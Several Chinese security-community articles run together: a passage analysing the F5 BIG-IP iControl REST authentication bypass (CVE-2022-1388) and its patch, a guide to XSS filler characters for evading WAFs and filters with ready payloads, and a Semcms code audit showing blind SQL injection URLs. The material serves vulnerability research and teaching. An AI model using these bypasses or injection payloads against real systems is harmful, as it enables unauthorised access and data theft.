this.listenPort = this.jettyHost.start(this.listenPort, RestWorkerHost.isPublic, this.extraConfig);
......
}
可以看出又会去调用jettyHost这个对象的start函数，JettyHost这个类没有构造函数，我们直接去看JettyHost这个类的start函数
public int start(int port, boolean isPublic, com.f5.rest.app.JettyHost.ExtraConfig extraConfig) throws Exception {
......
ServletContextHandler contextHandler = new ServletContextHandler();
contextHandler.setContextPath("/");
ServletHolder asyncHolder = contextHandler.addServlet(RestServerServlet.class, "/*");
asyncHolder.setAsyncSupported(true);
handlers.addHandler(contextHandler);
......
}
可以看出，针对性的处理的代码位于RestServerServlet中，找到了对应处理的servlet，其实就很简单了，剩下的工作就去研究servlet里面的内容就好了，主要逻辑都在其中
由于其继承了HttpServlet，所以我们直接看重载的service函数
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
final AsyncContext context = req.startAsync();
context.start(new Runnable() {
public void run() {
RestOperation op = null;
try {
op = RestServerServlet.this.createRestOperationFromServletRequest((HttpServletRequest)context.getRequest());
......
}
} catch (Exception var4) {
......
}
op.setCompletion(new RestRequestCompletion() {
public void completed(RestOperation operation) {
RestServerServlet.sendRestOperation(context, operation);
}
public void failed(Exception ex, RestOperation operation) {
RestServerServlet.failRequest(context, operation, ex, operation.getStatusCode());
}
});
try {
ServletInputStream inputStream = context.getRequest().getInputStream();
inputStream.setReadListener(RestServerServlet.this.new ReadListenerImpl(context, inputStream, op));
} catch (IOException var3) {
RestServerServlet.failRequest(context, op, var3, 500);
}
}
});
}
其中，createRestOperationFromServletRequest针对
http包头做了一些处理，但是我们关注的是根据request的处理动作，所以我们需要聚焦于setReadListener，去看看ReadListenerImpl的处理,根据[ReadListener接口文档](https://docs.oracle.com/javaee/7/api/javax/servlet/ReadListener.html)，我们直接看ReadListenerImpl这个类实现的onAllDataRead函数
public void onAllDataRead() throws IOException {
if (this.outputStream != null) {
if (this.operation.getContentType() == null) {
this.operation.setIncomingContentType("application/json");
}
if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
byte[] binaryBody = this.outputStream.toByteArray();
this.operation.setBinaryBody(binaryBody, this.operation.getContentType());
} else {
String body = this.outputStream.toString(StandardCharsets.UTF_8.name());
this.operation.setBody(body, this.operation.getContentType());
}
}
RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {
public void run() {
if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {
RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);
}
}
});
RestServer.trace(this.operation);
}
其中，第一个if判断是处理包的content-type头信息，不是很重要，看后边setIdentityFromAuthenticationData这个方法：
public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {
if (!setIdentityFromDeviceAuthToken(request, completion)) {
if (setIdentityFromF5AuthToken(request)) {
completion.run();
} else if (setIdentityFromBasicAuth(request)) {
completion.run();
} else {
completion.run();
}
}
}
看一下if里面的判断setIdentityFromDeviceAuthToken,
会检查包头里面有没有em_server_auth_token，没有则返回false，我们这里没有，所以直接返回false
然后会进入setIdentityFromF5AuthToken方法
private static boolean setIdentityFromF5AuthToken(RestOperation request) {
AuthTokenItemState token = request.getXF5AuthTokenState();
if (token == null) {
return false;
} else {
request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences));
return true;
}
}
由于我们并没有设置X-F5-Auth-Token的值，所以此处返回token是null,直接返回false
自然，后边就会进入setIdentityFromBasicAuth方法
private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
return true;
}
}
由于我们设置了Authorization的值，所以authHeader的值为YWRtaW46，进入setIdentityData
public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
String segment = UrlHelper.getLastPathSegment(userReference.link);
if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment})))) {
userName = segment;
}
}
if (userName != null && RestReference.isNullOrEmpty(userReference)) {
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[]{WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName})));
}
this.identityData = new RestOperation.IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
}
这里会根据Authorization头的值解码获得的username生成一个新的userReference，到底怎么根据用户名生成的reference其实我们也不需要太过深究，动态调试知道是这么个结构就可以了：
这一步完了之后，再回顾setIdentityFromAuthenticationData
public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {
if (!setIdentityFromDeviceAuthToken(request, completion)) {
if (setIdentityFromF5AuthToken(request)) {
completion.run();
} else if (setIdentityFromBasicAuth(request)) {
completion.run();
} else {
completion.run();
}
}
}
调用completion.run(),这个函数在调用函数onAllDataRead中规定好了
public void onAllDataRead() throws IOException {
if (this.outputStream != null) {
if (this.operation.getContentType() == null) {
this.operation.setIncomingContentType("application/json");
}
if (RestHelper.contentTypeUsesBinaryBody(this.operation.getContentType())) {
byte[] binaryBody = this.outputStream.toByteArray();
this.operation.setBinaryBody(binaryBody, this.operation.getContentType());
} else {
String body = this.outputStream.toString(StandardCharsets.UTF_8.name());
this.operation.setBody(body, this.operation.getContentType());
}
}
RestOperationIdentifier.setIdentityFromAuthenticationData(this.operation, new Runnable() {
public void run() {
if (!RestServer.trySendInProcess(ReadListenerImpl.this.operation)) {
RestServerServlet.failRequest(ReadListenerImpl.this.context, ReadListenerImpl.this.operation, new RestWorkerUriNotFoundException(ReadListenerImpl.this.operation.getUri().toString()), 404);
}
}
});
RestServer.trace(this.operation);
}
跟着先去看一下trySendInProcess
```java
public static boolean trySendInProcess(RestOperation request) {
try {
URI uri = request.getUri();
if (uri == null) {
throw new IllegalArgumentException("uri is null");
}
if (!RestHelper.isLocalHost(uri.getHost())) {
return false;
}
RestServer server = getInstance(uri.getPort());
if (server == null) {
return false;
}
RestWorker worker = null;
worker = findWorker(request, server);
if (worker == null) {
String sanatizePath = sanitizePath(uri.getPath());
String message = String.format("URI path %s not registered. Please verify URI is supported and wait for /available suffix to be responsive.", sanatizePath);
RestErrorResponse errorResponse = RestErrorResponse.create().setCode(404L).setMessage(message).setReferer(request.getReferer()).setRestOperationId(request.getId()).setErrorStack((List)null);
request.setIsRestErrorResponseRequired(false);
request.setBody(errorResponse);
request.fail(new RestWorkerUriNotFoundException(message));
return true;
}
try {
worker.onRequest(request);
} finally {
ApiUsageData.addUsage(BUCKET.MESSAGE, request.getMethod(), worker.getUri().getPath());
}
} catch (Exception var11) {
LOGGER.severe("e:" + var11.getMessage());
request.fail(var11);
}
return true;
}
这里，基础的配置设置完成后，会调用worker.onRequest(request)
protected void onRequest(RestOperation request, String key) {
if (request != null) {
boolean toDispatch = this.dispatchOrQueue(request, key);
if (toDispatch) {
this.requestReadyQueue.add(request);
this.getServer().scheduleRequestProcessing(this);
}
}
}
将此request加入到requestReadyQueue中去，然后scheduleRequestProcessing
public void scheduleRequestProcessing(RestWorker worker) {
if (this.readyWorkerSet.add(worker)) {
RestThreadManager.getNonBlockingPool().execute(this.processRequestsTask);
}
}
然后会调用processRequestsTask来处理这个请求，这个processRequestsTask在前边已经明确定义
public RestServer(int port, JettyHost jettyHost) {
this.pathToWorkerMap = new ConcurrentSkipListMap();
this.workerToCollectionPathsMap = new ConcurrentSkipListMap();
this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);
this.supportWorkersStarted = false;
this.allowStackTracesInPublicResponse = false;
this.storageUri = null;
this.configIndexUri = null;
this.groupResolverUri = null;
this.deviceResolverUri = null;
this.forwarderUri = null;
this.machineId = null;
this.discoveryAddress = null;
this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);
this.readyWorkerSet = new ConcurrentSkipListSet();
this.indexRebuildCoordinator = new RunnableCoordinator(1);
this.forwardRequestValidator = null;
if (port < 0) {
throw new IllegalArgumentException("port");
} else {
this.listenPort = port;
this.jettyHost = jettyHost;
this.processRequestsTask = new Runnable() {
public void run() {
RestServer.this.processQueuedRequests();
}
};
}
}
所以直接去看processQueuedRequests的处理即可,从队列中依次取出需要处理的request，挨个处理
private void processQueuedRequests() {
ArrayList workersWithMoreWork = new ArrayList();
while(true) {
RestWorker worker = (RestWorker)this.readyWorkerSet.pollFirst();
if (worker == null) {
Iterator i$ = workersWithMoreWork.iterator();
while(i$.hasNext()) {
RestWorker w = (RestWorker)i$.next();
this.scheduleRequestProcessing(w);
}
return;
}
boolean doContinue = false;
for(int i = 0; i < 100; ++i) {
RestOperation request = worker.pollReadyRequestQueue();
if (request == null) {
doContinue = true;
break;
}
worker.callRestMethodHandler(request);
}
if (!doContinue && worker.requestAreWaitingInReadyQueue()) {
workersWithMoreWork.add(worker);
}
}
}
可以看到，队列中取出 request后会调用callRestMethodHandler去处理
protected final void callRestMethodHandler(RestOperation request) {
try {
boolean updateStats = RestHelper.isOperationTracingEnabled() && !this.isHelper();
RestMethod method = request.getMethod();
boolean hasParameters = !request.getParameters().isEmpty();
long startTimeMicroSec = 0L;
RestWorkerStats stats;
if (updateStats) {
startTimeMicroSec = RestHelper.getNowMicrosUtc();
stats = this.getStats();
if (stats != null) {
stats.incrementRequestCountForMethod(method, hasParameters);
}
}
this.callDerivedRestMethod(request, method, hasParameters);
if (updateStats) {
stats = this.getStats();
if (stats != null) {
stats.incrementMovingAverageRequestCountForMethod(method, RestHelper.getNowMicrosUtc() - startTimeMicroSec, hasParameters);
}
}
} catch (Exception var9) {
Exception e = var9;
try {
if (e instanceof JsonSyntaxException && (e.getCause() instanceof IllegalStateException || e.getCause() instanceof MalformedJsonException || e.getCause() instanceof EOFException)) {
LOGGER.fine("JSON parsing exception error, will execute XSS validation");
this.handleXSSAttack(request, e.getLocalizedMessage());
}
String exceptionMsgWithStack = RestHelper.throwableStackToString(e);
LOGGER.warning(String.format("dispatch to worker %s caught following exception: %s", this.getUri(), exceptionMsgWithStack));
} catch (Exception var8) {
LOGGER.severe("Failed to log exception in callRestMethodHandler");
}
request.fail(var9);
}
}
做一些判断后会调用callDerivedRestMethod函数
protected void callDerivedRestMethod(RestOperation request, RestMethod method, boolean hasParameters) {
switch(method) {
case GET:
if (hasParameters) {
this.onQuery(request);
} else {
this.onGet(request);
}
break;
case PATCH:
this.onPatch(request);
break;
case POST:
this.onPost(request);
break;
case PUT:
this.onPut(request);
break;
case DELETE:
this.onDelete(request);
break;
case OPTIONS:
String origin = request.getAdditionalHeader(Direction.REQUEST, "Origin");
if (origin != null && !origin.isEmpty()) {
request.getAdditionalHeaders(Direction.RESPONSE).addCORSResponseAllowMethodsHeader(this.getAllowedHttpMethods());
}
this.onOptions(request);
break;
default:
request.fail(new UnsupportedOperationException());
}
}
根据request_method分发，我们去看onPost的实现
**这里一定要注意一点，此时的this并不是RestWorker对象,而是ForwarderPassThroughWorker对象,具体要向前回溯去看实例化的过程，但是太麻烦，简易直接通过动态调试，一目了然**
protected void onPost(RestOperation request) {
this.onForward(request);
}
继续向下追ForwarderPassThroughWorker中的onForward
private void onForward(final RestOperation request) {
final ForwarderWorkerRequest mapping = this.forwarder.findMapping(request.getUri().getPath());
if (mapping == null) {
request.setStatusCode(400);
this.failRequest(request, this.getUriNotRegisteredException(request));
} else {
if (this.isExternalRequest(request)) {
ForwardRequestValidator validator = this.getServer().getForwardRequestValidator();
if (validator != null) {
try {
validator.validateRequest(request);
} catch (Exception var7) {
this.failRequest(request, var7);
return;
}
}
switch(mapping.apiStatus) {
case DEPRECATED:
request.setResourceDeprecated(true);
if (!isDeprecatedApiAllowed) {
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "deprecate");
return;
}
this.logApiAccessFailure(isLogDeprecatedApiAllowed, request.getUri().getPath(), "deprecate");
break;
case EARLY_ACCESS:
request.setResourceEarlyAccess(true);
if (!isEarlyAccessApiAllowed) {
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "earlyAccess");
return;
}
this.logApiAccessFailure(isLogEarlyAccessApiAllowed, request.getUri().getPath(), "earlyAccess");
break;
case TEST_ONLY:
if (!isTestOnlyApiAllowed) {
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "testOnly");
return;
}
this.logApiAccessFailure(isLogTestOnlyApiAllowed, request.getUri().getPath(), "testOnly");
break;
case INTERNAL_ONLY:
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
case NO_STATUS:
case GA:
break;
default:
this.failRequest(request, new IllegalStateException("Unknown API Availabilty type"));
return;
}
}
CompletionHandler<Void> completion = new CompletionHandler<Void>() {
public void completed(Void dummy) {
ForwarderPassThroughWorker.this.cloneAndForwardRequest(request, mapping);
}
public void failed(Exception exception, Void dummy) {
ForwarderPassThroughWorker.this.failRequest(request, exception);
AuditLog.auditLog(request, false);
}
};
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (isPasswordExpired) {
String expiredPasswordUriPath = request.getUri().getPath();
boolean isPasswordRequestValid = this.passwordRequestIsOnlyToPermittedURI(expiredPasswordUriPath, request) && this.passwordRequestOnlyContainsPermittedFields(request) && this.userChangingSelfPassword(expiredPasswordUriPath, request);
if (!isPasswordRequestValid) {
request.setStatusCode(401);
this.failRequest(request, new SecurityException(CHANGE_PASSWORD_NOTIFICATION));
this.logExpiredPassword(expiredPasswordUriPath);
return;
}
}
boolean isRBACDisabled = this.getProperties().getAsBoolean("rest.common.RBAC.disabled");
if (isRBACDisabled) {
completion.completed((Object)null);
} else {
EvaluatePermissions.evaluatePermission(request, completion);
}
}
}
经过动态调试，前边的分支都进不去，会进入EvaluatePermissions.evaluatePermission(request,
completion)
public static void evaluatePermission(final RestOperation request, final CompletionHandler<Void> finalCompletion) {
if (roleEval == null) {
throw new IllegalArgumentException("roleEval may not be null.");
} else {
if (request.getReferer() == null) {
request.setReferer(request.getRemoteSender());
}
String authToken = request.getXF5AuthToken();
if (authToken == null) {
completeEvaluatePermission(request, (AuthTokenItemState)null, finalCompletion);
} else {
RestRequestCompletion completion = new RestRequestCompletion() {
public void completed(RestOperation tokenRequest) {
AuthTokenItemState token = (AuthTokenItemState)tokenRequest.getTypedBody(AuthTokenItemState.class);
EvaluatePermissions.completeEvaluatePermission(request, token, finalCompletion);
}
public void failed(Exception exception, RestOperation tokenRequest) {
String error = "X-F5-Auth-Token does not exist.";
EvaluatePermissions.setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), (Object)null);
}
};
RestOperation tokenRequest = RestOperation.create().setUri(UrlHelper.extendUriSafe(UrlHelper.buildLocalUriSafe(authzTokenPort, new String[]{WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH}), new String[]{authToken})).setCompletion(completion);
RestRequestSender.sendGet(tokenRequest);
}
}
}
此处，获取到的authToken为null，所以会进入completeEvaluatePermission
private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler<Void> finalCompletion) {
if (token != null) {
if (token.expirationMicros < RestHelper.getNowMicrosUtc()) {
String error = "X-F5-Auth-Token has expired.";
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), (Object)null);
return;
}
request.setXF5AuthTokenState(token);
}
request.setBasicAuthFromIdentity();
if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestMethod.POST)) {
finalCompletion.completed((Object)null);
} else if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_LOGIN_WORKER, "available"})) && request.getMethod().equals(RestMethod.GET)) {
finalCompletion.completed((Object)null);
} else {
final RestReference userRef = request.getAuthUserReference();
final String path;
if (RestReference.isNullOrEmpty(userRef)) {
path = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender();
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(path), (Object)null);
} else if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed((Object)null);
} else {
if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
} else {
path = UrlHelper.normalizeUriPath(request.getUri().getPath());
}
final RestMethod verb = request.getMethod();
if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {
String filterField = request.getParameter("$filter");
if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
finalCompletion.completed((Object)null);
return;
}
}
if (token != null && path.equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token}))) {
finalCompletion.completed((Object)null);
} else {
roleEval.evaluatePermission(request, path, verb, new CompletionHandler<Boolean>() {
public void completed(Boolean result) {
if (result) {
finalCompletion.completed((Object)null);
} else {
String error = "Authorization failed: user=" + userRef.link + " resource=" + path + " verb=" + verb + " uri:" + request.getUri() + " referrer:" + request.getReferer() + " sender:" + request.getRemoteSender();
EvaluatePermissions.setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), (Object)null);
}
}
public void failed(Exception ex, Boolean result) {
request.setBody((String)null);
request.setStatusCode(500);
String error = "Internal server error while authorizing request";
finalCompletion.failed(new Exception(error), (Object)null);
}
});
}
}
}
}
向下运行，会进入else if
(AuthzHelper.isDefaultAdminRef(userRef))这个判断，由于现有reference是根据admin这个username生成的，所以会进入这个判断，成功继续向下运行，绕过判断。
## 修复
使用idea可以针对两个jar包开展比对，选中两个jar包后按command+D即可
经比较，发现RestOperationIdentifier类中的setIdentityFromBasicAuth函数变化较大
原代码：
private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
return true;
}
}
更新后代码：
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}
修复后的代码针对请求的ip做了筛选，如果是127.0.0.1，活着是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证，但是其他的请求则无法直接通过认证，会检查认证是否过期，如果过期则使用口令密码重新验证。
## 参考
[1] [CVE-2021-22986：F5 BIG-IP iControl
REST未授权远程命令执行漏洞分析](https://nosec.org/home/detail/4722.html)
[2]
[F5从认证绕过到远程代码执行漏洞分析](https://blog.riskivy.com/f5%e4%bb%8e%e8%ae%a4%e8%af%81%e7%bb%95%e8%bf%87%e5%88%b0%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/)
[3] [F5 BIGIP iControl REST
CVE-2021-22986漏洞分析与利用](https://www.anquanke.com/post/id/236159)
[4] [从滥用HTTP hop by hop请求头看CVE-2022-1388](https://y4er.com/post/from-hop-by-hop-to-cve-2022-1388/) | 社区文章 |
# 这是一个waf && filter 探索与绕过系列文章。
## 1\. 研究对象：XSS、html标签、填充符
首先大概的说一下填充符的概念。
可被用来分隔语法关键词却不影响语义的符号。举个例子，比如说一个简单的XSS payload <svg
onload=alert()>。我们可以用/来代替svg和onload之间的空格，且不会影响html的解析。我们就说，/是一个填充符。
在waf&filter bypass的过程中，填充符扮演了一个非常重要的角色——它“破坏”了语法应有的样子。
今天我们就来讲一讲，xss中，html语境下的填充符以及如何利用填充符绕过waf&filter。
## 2\. 建模
接下来的讲解我们都基于标签<svg onload=alert()>进行说明。
先来定义一下标签的各个部分。
1. 起始标签: <svg //head
2. 事件处理：onload //event
2.5 事件和等于号之间
3. 触发后执行函数：alert() //func
3.5 等于号和执行函数之间
4. 结束标签：> //tail
## 3\. 探索
测试靶场:<http://brutelogic.com.br/xss.php?a=1>
1.起始标签与事件处理之间的填充符（url编码描述）
BetTagAndEvent = {"%20","/","%09","%0a","%0d","/xxx/","%0c"}（且可重复，如%09%09）
依次为 空格、/、水平制表符、换行符、回车符、/任意字符/、换页符
把填充符叫做filler，正则描述为
(filler).*
2.事件处理和等于号之间（url编码描述）
{"%20","%09","%0a","%0d","%0c"}（且可重复，如%09%09）
依次为 空格、水平制表、换行、回车、换页
正则描述为
(filler).*
3.等于号和执行函数之间。与2相同。
4.函数名和括号之间。
形式：<svg onload=alert%0b()>
{"%0B"}（且可重复，如%0B%0B）
为垂直制表，这里说一下具体的原理，使用其他符号的时候，必须使用引号，比如
onload="alert%0a()"。引号内分隔函数和括号，依然会被认为是事件的一部分。但是在引号外，%0b可以将alert和()连在一起，不会造成分隔，所以浏览器会认为alert%0b()依然是包裹在事件内的。
正则描述为
(%0B).*
5.结束标签
Tail = {"%20","//",">","%0a","%0d","%09","%0c"}(且可重复，如%0a%0a)
正则描述为
(filler).*
## 4\. 总结
多数waf&filter场景中，往往会因为没有将所有填充符过滤掉，或者过滤不完全，规则畸形等问题，导致可以通过组合各种填充符进行绕过。
就比如如下payload：<svg%0a%0aonload%09=%0aalert%0b()%0a
可以绕过1.匹配onxxx= 2.匹配=alert 3. 匹配alert()的waf。
由于filter的多样性，可能需要结合具体的情景，具体分析，各位白帽子可以构建出自己的fuzz思路。
只要思路好，waf绕到老～ | 社区文章 |
# 代码审计——Semcms
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是我审计的第一个CMS，由于这次代码审计的初衷只是为了学习代码审计中寻找SQL注入的思路及大致流程，所以这次审计仅针对SQL注入
## 相关环境
源码信息 :semcms php 版外贸网站 V3.9
本地环境 : phpstudy2014、seay代码审计工具
cms官网地址 : <http://www.sem-cms.com/>
下载地址 : <http://ahdx.down.chinaz.com/201906/semcms_php_v3.9.zip>
## 思路总结
分析项目结构，分析配置文件，
根据统一过滤存在的绕过问题，遗漏的变量进行代码审计
SQL语句中变量没用单引号闭合的都可能绕过
对项目结构要有了解，要有一定代码功底
## 审计前的分析
### 一、项目结构分析
/A_Admin为后台文件
/Edit保存的是js文件和html文件
/Image保存的是图片
/include是包含全局的文件，有函数定义的文件，数据库配置，统一过滤配置文件
/install是安装文件
/Templete是一些js文件和一些图片
### 二、过滤代码分析
#### verify_str()函数分析
在文件/Include/contorl.php的第5行-第26行中将所有GET请求中的传参过滤，同时定义了verify_str()函数，当调用这个函数时，会对字符串进行正则匹配，当匹配成功时，执行exit()
1，调用了verify_strin()时(注入时不能用子查询(union select))
2，不能有单引号(当SQL的变量包被单引号括起来时不能用单引号闭合
3，不能有 _号(不能用/*_ /注释绕过空格)
4，不能用load_file，dnslog注入
#### test_input()函数分析
第二处过滤位于
/semcms_php_v3.9/Include/contorl.php的第172行-177行，定义了一个名为test_input()的函数，当被调用时数据会被进行过滤
1，将字符串中的”%”替换为percent
2，trim()函数，规定删除字符串中哪些函数，如果没有规定，则默认删除”″(NULL),”t”(制表符),”n”(换行),”xb”(垂直制表符),”r”(回车),”
“(空格)
3，stripslashes()删除反斜杠(不能使用反斜杠””转义SQL语句中的单引号或双引号)
4，特殊字符html实体化，ENT_QUOTES指将单双引号实体化(SQL注入时不能使用单引号闭合)
## 审计过程
### 一、第一处后台SQL注入
用seay的自动审计功能，发现几个点SQL语句时没有用单双引号闭合
定位函数，发现需要前置条件，才能执行select语句
全局搜索$type变量，发现$type也是可以通过传参控制
先尝试对这个文件进行访问
192.168.2.128/xRl4zD_Admin/SEMCMS_Banner.php?type=edit&id=1
需要登录才能执行，使用账号进行登录，再次访问，登录后发现是个banner管理界面
去数据库看看sc_banner表里面是什么，以控制ID的值(白盒审计的好处)
给ID传参10后，页面发生了变化，开始尝试SQL注入，由于GET方式请求，过滤了select，union，等于号”=”,可以使用大于号小于号进行测试
192.168.2.128/xRl4zD_Admin/SEMCMS_Banner.php?type=edit&ID=10 or 2>1
感觉可行，由于无法使用联合查询，直接使用盲注查询数据库名
这里使用了三个mysql中的函数，
database()查询当前使用的数据库名
substr(string,start,length);
string为字符串；
start为起始位置；
length为长度。
ascii()返回字符串的ASCII码值
192.168.2.128/xRl4zD_Admin/SEMCMS_Banner.php?type=edit&ID=10 and
ascii(substr((database()),1,1))>108
页面无变化，说明当前数据库名第一个字符的ASCII码值大于108
192.168.2.128/xRl4zD_Admin/SEMCMS_Banner.php?type=edit&ID=10 and
ascii(substr((database()),1,1))>110
页面出现明显变化，说明当前数据库名第一个字符的ASCII码值小于110
由此可以判断数据库第一个字符的ASCII值等于109
查看ASCII码表可以知道m的ASCII码值为109
这里偷了下懒，因为是白盒审计，知道数据库名是mycms，所以直接用m的ascii值去尝试，到这里基本确定存在SQL注入
### 二、第二处后台SQL注入
第二处SQL注入在SEMCMS_Function.php的第81行到92行，我们看到了这个地方有三个自定义函数
看看这个自定义函数是做什么的。
先看第一个函数：checkdatas
这段代码作用是将变量$str放进sql语句中并执行，返回查询出来的数量，如果查询出来的记录条数大于0，返回1，如果没有记录，则返回0。由于调用这个函数的位置在if语句中，且条件等于0才能继续执行后面的语句，就不能让sql语句查询出记录
`if ($Ant->checkdatas($table,”category_name”,$category_name,$db_conn)==”0″){`
先看看变量$table是什么，$table在第34行被定义
从上面的sql语句中，可以知道$table是一个表的名字。所以这里的sc_categories是一个表，看看这个表里面有什么
我们的目的是不能让sql语句从sc_categories表里面查出数据
看看第二个变量$category_name
可以看出这个是一个可以通过POST传参控制的值，猜想这里可不可能存在sql注入，发现sql语句中用了带引号闭合，且在POST传参数调用了test_input函数，所以这里这里可以跳过，现在目的是让他继续执行后面的语句，所以不能让这个sql语句查询出来数据，所以只需要给
$category_name通过POST传一个 sc_categories表中 category_name字段中不存在的数据，这里拿小本本记一下，
POST传参category_name且数据库中没有的数据
继续往下看第二个函数
这个函数的作用是讲数组$val键值分离并在值的两边加上单引号，并写进数据库
哦豁，单引号，好吧，继续，看看参数怎么传的，首先看$val
创建一个名为$val的数组看到有个熟悉的变量$category_name，也就是我们上面的传参会被写入数据库，OK继续看看下一个函数
首先看两个sql语句，第一条$str没有单引号闭合，第二条有单引号闭合，所以要尽量然代码执行第一条，看到前面给$fl的参数，固定为f，很nice。看看变量$str，是由$PID传过来的，我们看看$PID是怎么获取数据的
可以看到，PID是通过POST传参，仅通过test_input函数过滤，并没有调用verify_strin()函数。
test_input函数对我们唯一有威胁的就是单双引号被htmlspecialchars($data,ENT_QUOTES)这个函数给html实体化了，但是这里sql语句并没有用单引号闭合！我可以！而且没有经过
verify_strin() 函数过滤，我们穿的之前不能用的union,select,等于号都可以用了
这里记一下， PID可以通过POST传参控制，并且这里有可能是注入点
看看要执行这里的代码需要什么前置条件
